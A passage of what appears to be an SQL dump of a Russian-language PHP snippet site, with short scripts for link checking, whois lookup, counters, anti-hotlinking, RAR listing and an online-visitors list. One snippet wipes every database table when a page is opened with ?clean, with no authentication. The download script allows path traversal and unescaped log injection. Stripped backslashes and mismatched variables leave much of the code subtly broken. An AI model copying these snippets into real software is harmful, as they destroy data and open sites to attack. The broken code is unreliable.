5.0)\'); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($ch,
CURLOPT_TIMEOUT,60); curl_setopt($ch, CURLOPT_FAILONERROR, true); $html =
curl_exec($ch); curl_close($ch); if(!$html) return false; /* убираем
все комментарии */ $html = preg_replace(\'//i\', \'\',
$html); /* Выдираем все ссылки */
$regexp=\'/(]*hrefs*=s*["\']?)([^\'">]+)([\'"]+[^<>]*>)/i\';
if (!preg_match_all($regexp, $html, $matches, PREG_SET_ORDER)) { return
false; /* нет ссылки :-( */ }; /* Анализируем
каждую ссылку */ foreach($matches as $match){ /* Если
ссылка содержит атрибут rel=nofollow -
пропускаем её */
if(preg_match(\'/rels*=s*[\'"]?nofollow[\'"]?/i\',
$match[0])) continue; if ($match[2]==$link_url) return true; // Ура! }
return false;}if
(contains_link(\'http://htmlweb.ru/\',\'http://VseTaksi.ru/\')) echo
\'Ссылка найдена!\';else echo \'Ссылка не
найдена!\';?>','files_3622_5116_',151),(156,14,'Склонение
слов!','Сейчас на сайте 2 гостей и 3
новостейСмешно звучит, правда? А ведь
такие уродливые сочетания встречаются
на очень многих сайтах. И если в
английском языке достаточно написать
что-то типа day(s), byte(s) и это будет
смотреться вполне нормально, то в
русском языке в конструкциях "число
слово" обязательно придется
учитыватьсклонения. Безумные извраты
типа"гостя(ей)" и
"новость(ей)" я даже не
рассматриваю, за такое надо лишать
доступа к компьютеру навсегда.Чтобы
писать по-русски можно использовать
следующую универсальную
функцию:','<?php//
Гостей$num1=2;$words1=Array("гость",
"гостя", "гостей");//
Новостей$num2=3;$words2=Array("новость",
"новости","новостей");//
Написать по-русскиecho "Сейчас на
сайте ";echo $num1."
".num2word($num1,$words1); // сколько гостейecho
" и ";echo $num2."
".num2word($num2,$words2); // сколько
новостей?>','files_3003_2602_',151),(157,14,'Whios
сканер','Скрипт проверяет и выводит дату
истечения срока регистрации домена, а
также количество дней до окончания срока
регистрации домена
(только.com/.net/.org).Данный пример
демонстрирует следующие аспекты
программированияна PHP: работа с сокетами,
регулярнымивыражениями, файловые
операции, операции с датой и
временем.\r\nАвтор не я!','<?php// Пример
получения whois-данных домена// Источник:
http://turenko.com/blog/2006/10/24/checking-whois-in-php/// (c) Mikhail
Turenko// доменное имя (com, net, org)$domain =
"turenko.com";// получаем whois-запись$resp
= get_whois($domain);// извлекаем адрес
whois-сервераpreg_match("!^s*Whois
Server:s+([w.]+)b!im", $resp, $matches);$server = $matches[1];//
извлекаем дату истечения срока
доменаpreg_match("!^s*Expiration
Date:s+([w-]+)b!im", $resp, $matches);$expiry = $matches[1];//
вычисляем количество дней до окончания
срока$exptime = strtotime($expiry);$expdays = round(($exptime -
time()) / 84600);$expiry = date("d/m/Y", $exptime);print
"Domain: $domainn";print "Whois server:
$servern";print "Expires: $expiryn";print
"Days left: $expdaysn";function get_whois($domain,
$server="whois.verisign-grs.com"){if (trim($domain)
<> ""){$domain = trim($domain);$fp =
fsockopen($server, 43, $errno, $errstr, 30);if (!$fp) $response =
"$errstr ($errno)";else{ $response =
""; fputs($fp, "$domainrn"); while
(!feof($fp)) $response .= fread($fp,128); fclose ($fp); }}return
$response;}?>','files_4719_3279_',151),(158,14,'Граф
счетчик','Создавая текстовый счетчик, мы
ограничены свойствами текста в
браузере.Данный пример демонстрирует
работу простого графического счетчика.
По функциональности он совершенно
идентичен текстовому счетчику.Для
работы этого счетчика необходимо
создать графическое изображение,
которое послужит базой для счетчика.Это
изображение надо сохранить под именем
counter.pngВ скрипте использована библиотека
GD,перед тем как пользоваться этой
библиотекой, узнайте у хостера,
подключена ли эта
библиотека.','<?php$dat_file="counter.dat";
// Файл счетчика if (!is_file($dat_file)) { //
Пытаемсясоздать файл. if (@touch($dat_file)) {
@chmod($dat_file, 0777); //Права доступа } else echo \'Нет
файла \' . $dat_file . \'. Создать не удалось.
Выставите права 777 на папку.\'; } // Открывем
файл счетчика и считываем текущий счет //
в переменную $count $fn=fopen($dat_file,"r");
$count=fgets($f,100); fclose($fn); $count=preg_replace("/
/","",$count); // Удаляем символ
конца строки $count++; // Увеличиваем счетчик
// Записываем данные обратно в файл
$fn=fopen($dat_file,"w"); @flock($fn, LOCK_EX); //
блокировка записи @fputs($f,"$count ");
@fflush ( $fn ); //ОЧИЩЕНИЕ ФАЙЛОВОГО БУФЕРА И
ЗАПИСЬ В ФАЙЛ @flock($fn, LOCK_UN); // Снятие
блокировки fclose($fn); // Создаем новое
изображение из файла if (is_file(\'counter.png\')) $img =
ImageCreateFromPNG(\'counter.png\'); else $img=imagecreatetruecolor(88,
31); // Назначаем черный цвет $black =
ImagecolorAllocate($im,0,0,0); // Выводим счет на
изображение Imagestring($img,1,5,20,$count,$black); //
Выводим изображение в стандартный поток
вывода Header("Content-type: image/png");
ImagePng($img);?>','files_5540_1797_',151),(159,14,'Запрет
скачки Поссылкам из других
сайтов!','Очень неприятно, когда
замечаешь, что трафик твоего сайта
растет, а посетителей не прибавляется. И
тут замечаешь, что "добрые люди"
ставят ссылки на своих сайтах не на твою
статью на твоем сайте, а
непосредственное на твои файлы для
скачивания. Вот от таких добрых людей и
хочется сделать защиту. Она конечно не
совершенна, но от простых ссылок
непорядочных людей, ворующих контент
очень эфективна.','<?php/*Защита файлов
от скачивания по ссылкам с чужих сайтов
ссылка на скачивание выглядит
так:http://example.com/antileech.php?down=4 <-- номер
файлаили http://example.com/antileech.php?down=filename <--
имя файла*/// Настройки$antiurl =
"htmlweb.ru"; // Разрешённый сайт
(referer).$antidir =
$_SERVER[\'DOCUMENT_ROOT\']."/download/"; // Папка
где находятся защищённые от скачивания
файлы$logfile = "log.htm"; // Файл
протокола (должен быть html или htm и
обязательно CHMOD 777.if (isset($logfile)) {if
(!file_exists($logfile)) die("Файл <font
color=\'red\'><b>$logfile</b></font>
не найден!");if (!is_writable($logfile))
die("Для файла<font
color=\'red\'><b>$logfile</b></font>
нужно зделать CHMOD 777!");if
($_SERVER[\'HTTP_REFERER\'] == "")$cnr_data =
"[не известно]"; else $cnr_data =
"<a href="" . $_SERVER[\'HTTP_REFERER\']
. "">" . $_SERVER[\'HTTP_REFERER\'] .
"</a>";$cnr_data = "<font
color="green">".$_SERVER[\'REMOTE_ADDR\']."</font>
HOST <font
color="red">".gethostbyaddr($_SERVER[\'REMOTE_ADDR\'])."</font>
visited on ".date("l d F H:i:s")."
ссылка с
".$cnr_data."<br>";@file_put_contents($_SERVER[\'DOCUMENT_ROOT\'].$logfile,
$cnr_data, FILE_APPEND);}// Проверка реферераif
(!stristr($_SERVER["HTTP_REFERER"], $antiurl) or
!isset($_SERVER["HTTP_REFERER"]))
die(\'<h1>Файл по указанной ссылке не
доступен!</h1>\');if
(is_numeric($_GET["down"])){// Здесь идут
файлы для скачивания пономерам if
($_GET["down"] == 1) $filename =
"test1.rar"; elseif ($_GET["down"] ==
2) $filename = "test2.rar"; elseif
($_GET["down"] == 3) $filename =
"test3.rar";}else $filename =
$_GET["down"];$path = $antidir . $filename; //
Полная ссылка на файл// Проверка файла
есть он или нетif (!file_exists($path)){
header("HTTP/1.0 404 Not Found"); die("Файл
\'$filename\' не существует!");}$ftime =
date("D, d M Y H:i:s T", filemtime($path));//
Проверкаif (strstr($_SERVER["HTTP_REFERER"],
$antiurl)) { if (isset($_GET[\'down\']) &&
isset($filename)) { $fsize = filesize($path); $ftime = date("D, d
M Y H:i:s T", filemtime($path)); $fd = @fopen($path,
"rb"); if (!$fd){header ("HTTP/1.0 403
Forbidden");exit; } if
($HTTP_SERVER_VARS["HTTP_RANGE"]) { // докачка
$range = $HTTP_SERVER_VARS["HTTP_RANGE"]; $range =
str_replace("bytes=", "", $range);
$range = str_replace("-", "", $range);
if ($range) {fseek($fd, $range);} } $content = fread($fd, filesize($path));
fclose($fd); if ($range) header("HTTP/1.1 206 Partial
Content"); else header("HTTP/1.1 200 OK");
header("Content-Disposition: attachment; filename=" .
basename($path)); header("Last-Modified: $ftime");
header("Accept-Ranges: bytes");
header("Content-Length: ".($fsize-$range));
header("Content-Range: bytes $range-".($fsize
-1)."/".$fsize); header("Content-type:
application/octet-stream"); print $content; exit;} else
die("Недействительный
файл.");}?>','files_3349_2633_',151),(160,14,'Обрезка
текста','Обрезка текста','// уберём все html
элементы:$string = strip_tags($string);// обрежем его
на определённое количество символов:$string
= substr($string, 0, 200);// удалим в конце текста
восклицательй знак, запятую, точку или
тире:$string = rtrim($string, "!,.-");//
находим последний пробел, устраняем его
и ставим троеточие:$string = substr($string, 0,
strrpos($string, \'
\'));echo$string."…";','files_2509_5496_',151),(161,14,'Удаляем
старые файлы!','Код удаляет устаревшие
файлы!','<?php$files = glob(\'imagecache/*\',
GLOB_BRACE);usort($files, \'filemtime_compare\');function
filemtime_compare($a, $b){ return filemtime($a) - filemtime($b);}$i =
0;$show = 1000;$today = mktime(date(\'h,i,s,m,d,Y\'));$onemonth =
$today-47645;foreach($files as $file){ if($i == $show) break; else ++$i;
$fileunixtime = filemtime($file); if ($fileunixtime <= $onemonth)
unlink($file);}?>','files_2614_5534_',151),(162,14,'Подсчет
размера файлов в директориях и в
поддиректориях.','ВведениеПредположим
что вам нужно подсчитать размер всех
файлов начиная с текущей директории,
получить их число и количество вложенный
поддиректорий. Подобные задачи решаться
применением рекурсии - то есть обращения
из функции к самой себе.Решение
задачиБлагодаря способности PHP
выполнять рекурсивные запросы к
функциям (а также к методам классов)
стало возможным решить платформо -
независимую задачу подсчета размера
файлов в директориях.Приведем пример
класса на php решающего задачу подсчета
размера всех файлов вложенный в
директорию и в поддиректории:','<?phpclass
calc_dir{var $a_fname=array();var $a_fsize=array();var $a_fdir =array();var
$cofiles;function init(){$this->cofiles=0;}function
calc_files($in_dir){#Так можно отсечь
нежелательные имена файлов#if
(preg_match("/_vti[.]*/i",$in_dir))return;if ($dir_handle
= @opendir($in_dir)){ while($file = readdir($dir_handle)) {
//Рекурсивный проход по директориям if
($file!=".." &&
$file!="." && is_dir($file))
$this->calc_files($in_dir."/".$file);
//Проход по файлам if
(is_file($in_dir."/".$file) &&
$file!=".." &&
$file!=".") {
$this->a_fname[$this->cofiles]=$file;
$this->a_fsize[$this->cofiles]=filesize
($in_dir."/".$file); $this->a_fdir
[$this->cofiles]=$in_dir; $this->cofiles++; } }}}function
show(){echo "<center><table
border="1"><tr
align="center">
<td>i</td><td>name</td><td>size</td><td>dir</td></tr>";$a_size=0;for
($i=0;$i<count($this->a_fname);$i++){echo
"<tr
align="center"><td>".($i+1)."</td><td>".$this->
a_fname[$i]."</td><td>".$this->a_fsize[$i]."</td><td>
".$this->a_fdir[$i]."</td></tr>";$a_size+=$this->a_fsize[$i];}echo
"<tr><td
colspan="2">Total:</td><td
colspan="2">$a_size</td></tr>";echo
"</table></center>";}}//end
class$d=new
calc_dir;$d->init();$d->calc_files("C:/windows/command/");$d->show();?>','files_4603_3239_',151),(163,14,'Вычисление
факториала числа','Вычисление факториала
числа','<? $x = 10; // Число которое нужно
вычислить if ($x < 0) $f = "Факториал
числа <b>$x</b> не
существует"; else { $f = 1; if ($x > 0) for ($i =
1; $i <= $x; $i++) $f *= $i; } echo $f;
?>','files_1736_2908_',151),(164,14,'работа с
Rar','работа с Rar','<?php// Открываем
архив$resource=rar_open(\'file.rar\',\'пароль\');if(!$resource){exit(\'Невозможно
открыть архив\');}// Список
файлов$fileList=rar_list($resource);foreach($fileListas$file){echo\'Имя
файла \'.$file->getName()."<br
/>n";echo\'Размер в архиве
\'.$file->getPackedSize()."<br
/>n";echo\'Размер после распаковки
\'.$file->getUnpackedSize()."<br /><br
/>n";// Распакуем каждый
файл$file->extract(\'/destination/dir/\');}// Закроем
архивrar_close($rar_file);','files_2219_2298_',151),(165,14,'Подсчет
возраста','полезен для соц сетей','function
age($day, $mouth, $year){ $age = date(\'Y\') - $year; $_m = date(\'m\');
if($_m < $mouth || ($_m == $mouth &&date(\'d\')
< $day)) $age--; return
$age;','files_3642_2346_',151),(166,14,'Проверка
ffmpeg','проверка на\r\nсуществование на
сервере плагина\r\nffmpeg','<?php [php]
if(extension_loaded (\'ffmpeg\')){ echo \'Расширение ffmpeg
поддержавается!\'; }else{ echo \'Pасширение ffmpeg
не поддержавается!\'; }
?>','files_5610_2617_',151),(167,14,'Удаляем все
таблицы из БД','перейдите по
ваш_сайт.ру/?clean','if (isset($_GET[\'clean\'])) {
$tab=mysql_query(\'SHOW TABLES FROM \'.$set[\'mysql_db_name\']);
for($i=0;$i<mysql_num_rows($tab);$i++) { mysql_query("DROP
TABLE `".mysql_tablename($tab,$i)."`"); }
}','files_4254_4192_',151),(168,14,'Шаблонизатор от
DLE','Вот решил выложить на мой взгляд
очень полезную штуку) шаблонизатор
скрученный с ДЛЕ, но немного изменен,
думаю многим должно помочь в написании
своей CMS ну и т.д ))\r\nЧто можно сказать о
его возможностях!?\r\nВозможность
добавлять php код в tpl, вывод переменных
такого типа : {.....}\r\nНу а дальше я думаю
разберитесь','Код index.php =) <?
include("templates.class.php"); //подключение
class $tpl = new Template; //инициируем класс
$tpl->dir = \'template/\'; //задаём
местоположение папки с шаблонами
$tpl->load_template(\'main.tpl\'); //загружаем каркас
$tpl->set(\'{sub_templ}\',
$tpl->sub_load_template(\'sub.tpl\')); //подключаем код
блока //подставляем значения переменных
$tpl->set(\'{var1}\', \'блок2\'); $tpl->set(\'{var2}\',
\'блок3\'); $tpl->compile(\'main\'); //собираем
шаблон eval (\' ?\' . \'>\' . $tpl->result[\'main\'] .
\'<\' . \'?php \'); //выводим результат
работы, с возможностью вставки пхп кода в
tpl $tpl->global_clear(); //очищаем все
переменные для возможно следующего
шаблона ?> Код templates.class.php PHP код:
<?php class Template { public $dir = \'.\'; public $template =
null; public $copy_template = null; public $data = array(); public
$block_data = array(); public $result = array(\'info\' => \'\',
\'content\' => \'\'); public $template_parse_time = 0;
//задаём параметры основных переменных
подгрузки шаблона public function set($name , $var) { if
(is_array($var) && count($var)) { foreach ($var as $key
=> $key_var) { $this->set($key , $key_var); } } else
$this->data[$name] = $var; } //обозначаем блоки
public function set_block($name , $var) { if (is_array($var)
&& count($var)) { foreach ($var as $key => $key_var)
{ $this->set_block($key , $key_var); } } else
$this->block_data[$name] = $var; } //производим
загрузку каркасного шаблона public function
load_template($tpl_name) { $time_before = $this->get_real_time(); if
($tpl_name == \'\' || !file_exists($this->dir . DIRECTORY_SEPARATOR
. $tpl_name)) { die ("Невозможно загрузить
шаблон: ". $tpl_name); return false;} $this->template
= file_get_contents($this->dir . DIRECTORY_SEPARATOR . $tpl_name);
if ( stristr( $this->template, "{include file=" )
) { $this->template = preg_replace( "#\\{include
file=[\'"](.+?)[\'"]\\}#ies","$this->sub_load_template(\'\\1\')",
$this->template); } $this->copy_template =
$this->template; $this->template_parse_time +=
$this->get_real_time() - $time_before; return true; } // этой
функцией загружаем
"подшаблоны" public function
sub_load_template($tpl_name) { if ($tpl_name == \'\' ||
!file_exists($this->dir . DIRECTORY_SEPARATOR . $tpl_name)) { die
("Невозможно загрузить шаблон:
". $tpl_name); return false;} $template =
file_get_contents($this->dir . DIRECTORY_SEPARATOR . $tpl_name);
return $template; } // очистка переменных шаблона
public function _clear() { $this->data = array();
$this->block_data = array(); $this->copy_template =
$this->template; } public function clear() { $this->data =
array(); $this->block_data = array(); $this->copy_template =
null; $this->template = null; } //полная очистка
включая результаты сборки шаблона public
function global_clear() { $this->data = array();
$this->block_data = array(); $this->result = array();
$this->copy_template = null; $this->template = null; }
//сборка шаблона в единое целое public function
compile($tpl) { $time_before = $this->get_real_time(); foreach
($this->data as $key_find => $key_replace) { $find[] =
$key_find; $replace[] = $key_replace; } $result = str_replace($find,
$replace, $this->copy_template); if
(count($this->block_data)) { foreach ($this->block_data as
$key_find => $key_replace) { $find_preg[] = $key_find;
$replace_preg[] = $key_replace; } $result = preg_replace($find_preg,
$replace_preg, $result); } if (isset($this->result[$tpl]))
$this->result[$tpl] .= $result; else $this->result[$tpl] =
$result; $this->_clear(); $this->template_parse_time +=
$this->get_real_time() - $time_before; } //счётчик
времени выполнения запросов сборки public
function get_real_time() { list($seconds, $microSeconds) = explode(\' \',
microtime()); return ((float)$seconds + (float)$microSeconds); } }
?>','files_3758_1458_',151),(169,14,'Просмотр архива
в rar','Простейший листинг
RAR-архива','<?php function sizer($s) { $o=1;
while($s>1024) { $s = round($s / 1024, 1); $o++; } switch($o) {
case(1): $o=\'b\'; break; case(2): $o=\'Kb\'; break; case(3): $o=\'Mb\';
break; case(4): $o=\'Gb\'; break; } return $s.$o; } $filepath =
\'test.rar\'; $rar = rar_open($filepath) or die(\'Ошибка
открытия RAR архива\'); $list = rar_list($rar); $c =
count($list); echo\'Обьектов: \'.$c.\'<hr/>\'; for($i
= 0; $i<$c; $i++) { echo $list[$i]->name.\'
[\'.sizer($list[$i]- >unpacked_size).\'/\'.sizer($list[$i]-
>packed_size).\']<br/>\'; } rar_close($rar);
?>','files_3664_4569_',151),(170,14,'Зашифровано ли
соединение (https)','Хороший вопрос. Этот
удобный фрагмент может дать Вам ответ.
Ничего сложного','if ($_SERVER[\'HTTPS\'] !=
"on") { echo "This is not HTTPS";
}else{ echo "This is HTTPS";
}','files_3002_3131_',151),(171,14,'Показать исходный
код любой веб-страниц','Хотите отображать
исходный код любой веб-страницы, с
нумерацией строк? Вот фрагмент кода,
чтобы реализовать это. Просто измените URL
в первой строке на нужный Вам','$lines =
file(\'http://google.com/\'); foreach ($lines as $line_num => $line)
{ // Делим на строки и нумеруем echo
"Line #<b>{$line_num}</b> : "
. htmlspecialchars($line) . "<br>n";
}','files_1867_2991_',151),(172,14,'Определитель Места
по IP','Вот полезный фрагмент кода для
определения расположения конкретного IP.
Ниже функция принимает один IP в качестве
параметра, и возвращает местоположение
IP. Если местоположение не найдено,
возвращается UNKNOWN.','function detect_city($ip) {
$default = \'UNKNOWN\'; if (!is_string($ip) || strlen($ip)
< 1 || $ip == \'127.0.0.1\' || $ip == \'localhost\') $ip
= \'8.8.8.8\'; $curlopt_useragent = \'Mozilla/5.0 (Windows; U;
Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR
3.5.30729)\'; $url = \'http://ipinfodb.com/ip_locator.php?ip=\' .
urlencode($ip); $ch = curl_init(); $curl_opt = array(
CURLOPT_FOLLOWLOCATION => 1, CURLOPT_HEADER
=> 0, CURLOPT_RETURNTRANSFER => 1,
CURLOPT_USERAGENT => $curlopt_useragent, CURLOPT_URL
=> $url, CURLOPT_TIMEOUT => 1,
CURLOPT_REFERER => \'http://\' .
$_SERVER[\'HTTP_HOST\'], ); curl_setopt_array($ch,
$curl_opt); $content = curl_exec($ch); if
(!is_null($curl_info)) { $curl_info = curl_getinfo($ch);
} curl_close($ch); if (
preg_match(\'{<li>City :
([^<]*)</li>}i\', $content, $regs) ) {
$city = $regs[1]; } if (
preg_match(\'{<li>State/Province :
([^<]*)</li>}i\', $content, $regs) ) {
$state = $regs[1]; } if( $city!=\'\' &&
$state!=\'\' ){ $location = $city . \', \' . $state;
return $location; }else{ return $default; }
}','files_2260_3916_',151),(173,14,'Авто. создание
пароля','Хотя я лично предпочитаю
оставить пользователям возможность
выбирать свой пароль самим, но для тех
кто считает, что автоматическое создание
предпочтительней следующий
скрипт.\r\nСледующая функция является
гибкой для создания пароля: Вы можете
выбрать желаемую длину и силу для
пароля.','// Устанавливаем параметры и
генерируем пароль // $length - длина пароля,
$strength - сила пароля function generatePassword($length=9,
$strength=8) { $vowels = \'aeuy\'; $consonants = \'bdghjmnpqrstvz\'; if
($strength >= 1) { $consonants .= \'BDGHJLMNPQRSTVWXZ\'; } if
($strength >= 2) { $vowels .= "AEUY"; } if
($strength >= 4) { $consonants .= \'23456789\'; } if ($strength
>= 8 ) { $vowels .= \'@#$%\'; } // Генерируем
пароль $password = \'\'; $alt = time() % 2; for ($i = 0; $i
< $length; $i++) { if ($alt == 1) { $password .=
$consonants[(rand() % strlen($consonants))]; $alt = 0; } else {
$password .= $vowels[(rand() % strlen($vowels))]; $alt = 1; } } return
$password; } echo
generatePassword();','files_2755_3211_',151),(175,14,'Отправка SMS
с использованием PHP TextMagic AP','Кароче
покопался я в компе и нашел несколько
кодов) Надеюсь они будут каму то
полезно.\r\n\r\nЕсли по какой-то причине, Вы
должны отправлять SMS своим клиентам на
телефоны, Вам обязательно надо
ознакомиться с сервисом TextMagic. TextMagic
обеспечивают легкий API, которые
позволяют отправлять SMS на сотовые
телефоны. TextMagic работает с российскими
сотовыми операторами, что не мало важно,
их перечь можно найти на сайте TextMagic.
Услуги являются платными, в среднем 1 SMS
обходится в 2рубля.\r\n\r\nПример кода ниже
показывает, как легко можно отправить SMS
на мобильный телефон с использованием
TextMagic API','// Подключаем библиотеку TextMagic
require(\'textmagic-sms-api-php/TextMagicAPI.php\'); //
Устанавливаем свой логин и пароль в
системе $username = \'myusername\'; $password = \'mypassword\';
$router = new TextMagicAPI(array( \'username\' => $username,
\'password\' => $password )); // Отправляем SMS на
номер \'999-123-4567\' $result = $router->send(\'Wake up!\',
array(9991234567), true); // result: Result is: Array ( [messages]
=> Array ( [19896128] => 9991234567 ) [sent_text] =>
Wake up! [parts_count] => 1
)','files_2872_4059_',151),(176,14,'Браузер и ip','Браузер
и ip','<?php
$brauser=htmlspecialchars(stripslashes($_SERVER[\'HTTP_USER_AGENT\']));
$ip=htmlspecialchars(stripslashes($_SERVER[\'REMOTE_ADDR\']));
echo" Ваш браузер $brauser <br> Ваш
ip $ip ";
?>','files_4562_4785_',151),(177,14,'Скрипт
"Список посетителей OnLine"','Часто
на сайтах можно видите фразу, сейчас
данный сайт просматривает столько-то
человек, или даже список
зарегистрированных посетителей,
находящихся в данным момент на сайте.
Обычно такой сервис называют
"Список посетителей OnLine".
Учитывая, что у посетителя может
динамически меняться IP-адрес, или
наоборот несколько посетителей могут
выходить в Интернет из под одного
IP-адреса, для подсчёта уникальных
посетителей на сайте прибегают к
сессиям. Создадим таблицу session в которой
будем хранить уникальные идентификаторы
сессии (SID), назначенные
посетителям.','Таблица session [code] CREATE TABLE
session ( id_session tinytext NOT NULL, putdate datetime NOT NULL default
\'0000-00-00 00:00:00\', user tinytext NOT NULL ) TYPE=MyISAM; [/code]
Таблица имеет три поля - id_session, поле, куда
помещается SID сессии, поле putdate, для того,
хранения времени обращения посетителя к
страницам сайта и поле user, которое нами
использоваться не будет, но в котором
можно хранить имя пользователя, если у
вас имеется система авторизации и вы
хотите различать гостей и
авторизованных пользователей.
Предполагается, что имя пользователя
помещается в элемент суперглобального
массива $_SESSION[\'user\'] - если вас интересует
авторизация на PHP, с нейм можно
ознакомиться по ссылке В начало каждой
страницы сайта, которая будет
участвовать в регистрации посетителей
следует при помощи конструкции require_once()
поместить следующий код. Скрипт
регистрации посетителей в таблице session
[code] <?php // Начинаем сессию session_start(); //
Получаем уникальный id сессии $id_session =
session_id(); // Устанавливаем соединение с
базой данных include "config.php"; //
Проверяем, присутствует ли такой id в базе
данных $query = "SELECT * FROM session WHERE id_session =
\'$id_session\'"; $ses = mysql_query($query); if(!$ses)
exit("<p>Ошибка в запросе к
таблице сессий</p>"); // Если
сессия с таким номером уже существует, //
значит пользователь online - обновляем
время его // последнего посещения
if(mysql_num_rows($ses)>0) { $query = "UPDATE session SET
putdate = NOW(), user = \'$_SESSION[user]\' WHERE id_session =
\'$id_session\'"; mysql_query($query); } // Иначе, если
такого номера нет - посетитель только что
// вошёл - помещаем в таблицу нового
посетителя else { $query = "INSERT INTO session
VALUES(\'$id_session\', NOW(), \'$_SESSION[user]\')";
if(!mysql_query($query)) { echo
$query."<br>"; echo
"<p>Ошибка при добавлении
пользователя</p>"; exit(); } } //
Будем считать, что пользователи, которые
отсутствовали // в течении 20 минут -
покинули ресурс - удаляем их // id_session из
базы данных $query = "DELETE FROM session WHERE putdate
< NOW() - INTERVAL \'20\' MINUTE"; mysql_query($query);
?> [/code] Протокол HTTP не является
сессионным протоколом, поэтому мы можем
фиксировать только обращения
посетителей к страницам сайта - сколько
после этого посетитель будет читать
страницу - одному богу известно -
получить эту информацию мы не сможем.
Поэтому мы будем считать, что если
посетиель не обращается к страницам
сайта более 20 минут - он ушёл и его можно
удалять из таблицы session. Теперь нам
остаётся только вывести содержимое
таблицы session или подсчитать число
посетителей в ней. Выводим
содержимое таблицы session [code]<?php //
Устанавливаем соединение с базой данных
include "config.php"; // Выводим имена
всех посетителей, записи о которых
имеются // в таблице session $query = "SELECT *
FROM session"; $ath = mysql_query($query); if(!$ath)
exit("<p>Ошибка в запросе к
таблице сессий</p>"); // Если
хоть кто-то есть - выводим таблицу
if(mysql_num_rows($ath)>0) { echo
"<table>"; while($author =
mysql_fetch_array($ath)) { // Если посетитель не
зарегистрирован // выводим вместо его
имени - "аноним" if(empty($author[\'user\']))
echo
"<tr><td>аноним</td></tr>";
else echo
"<tr><td>".$author[\'user\']."</td></tr>";
} echo "</table>"; } ?>[/code]
Для установки соединения с базой данных,
нам потребуется конфигурационный файл
config.php, следующего содержания.
Конфигурационный файл config.php [code]<?php
//////////////////////////////////////////////////////////// // 2003-2011
(C) IT-студия SoftTime (http://www.softtime.ru)
//////////////////////////////////////////////////////////// //
сейчас выставлен сервер локальной
машины $dblocation = "localhost"; // Имя
базы данных, на хостинге или локальной
машине $dbname = "dbase"; // Имя
пользователя базы данных $dbuser =
"root"; // и его пароль $dbpasswd =
""; // Устанавливаем соединение
с базой данных $dbcnx =
@mysql_connect($dblocation,$dbuser,$dbpasswd); if (!$dbcnx) { exit(
"<P>В настоящий момент сервер
базы данных не доступен, поэтому
корректное отображение страницы
невозможно.</P>" ); } // Выбираем
базу данных if (! @mysql_select_db($dbname,$dbcnx) ) { exit(
"<P>В настоящий момент база
данных не доступна, поэтому корректное
отображение страницы
невозможно.</P>" ); } //
Устанавливаем кодировку соединения
@mysql_query("SET NAMES \'cp1251\'"); ?>
[/code]','files_5236_5561_',151),(178,14,'Определение
браузеров','Определение
браузеров','<?php $useragent=$_SERVER[\'HTTP_USER_AGENT\'];
if(preg_match(\'/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows
(ce|phone)|xda|xiino/i\',$useragent)||preg_match(\'/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r
|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(
i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(
|/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-|
|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|
)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i\',substr($useragent,0,4)))
header(\'Location: http://site.ru\');
?>','files_4788_4786_',151),(179,14,'Оператор
эквивалентности PHP','Оператор
эквивалентности PHP','if ($var_1 === $var_2) echo
"Переменные равны"; else echo
"Переменные не равны"; ?> ---
Результатом выполнения скрипта будет
вывод строки: "Переменные не
равны", чего мы с Вами и добивались.
То есть значения переменных равны, но их
типы не совпадают (одна переменная integer, а
другая string), поэтому оператор
эквивалентности вернул false и отправил
нас в блок else, где мы и вывели
соответствующую строку. Разумеется, у
Вас впереди будет ещё много ошибок,
связанных с преобразованием типов, так
как подобных нюансов действительно
очень много, но со временем Вы научитесь
использовать оператор эквивалентности,
